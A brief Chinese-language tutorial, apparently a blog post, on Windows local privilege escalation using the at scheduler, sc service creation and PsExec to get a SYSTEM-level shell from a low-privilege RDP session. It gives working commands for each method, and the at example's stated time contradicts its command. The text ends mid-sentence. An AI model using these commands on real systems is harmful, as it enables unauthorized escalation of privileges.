【Windows提权】本地提权AT&SC&PS

---

0x001 at命令提权

at 命令提权的原理：at命令是一个计划命令，可以在规定时间完成一些操作，这个命令调用的是system权限。

适用版本：Win2000 & Win2003 & XP中还是存在的，在Win7以后被剔除

当我们拿到一个低权限的用户，通过3389端口远程连接上后，可以通过at命令来进行本地提权。

at 12:31 /interactive cmd (在19：39分生成一个交互式的System权限的cmd)

0x002 sc命令提权

命令介绍：SC 是用于与服务控制管理器和服务进行通信的命令行程序。提供的功能类似于“控制面板”中“管理工具”项中的“服务”。

适用版本：windows 7、8、03、08、12、16

提权命令：

# 这个命令的意思是创建一个名叫syscmd的新的交互式的cmd服务
sc Create syscmd binPath= "cmd /K start" type= own type= interact
# 然后执行
sc start syscmd  # 就得到了一个system权限的cmd环境

0x003 ps命令提权

微软官方工具包：https://docs.microsoft.com/zh-cn/sysinternals/downloads/pstools

适用版本：Win2003 & Win2008

包含工具目录：

提权命令：

psexec.exe -accepteula -s -i -d notepad.exe

在win2008中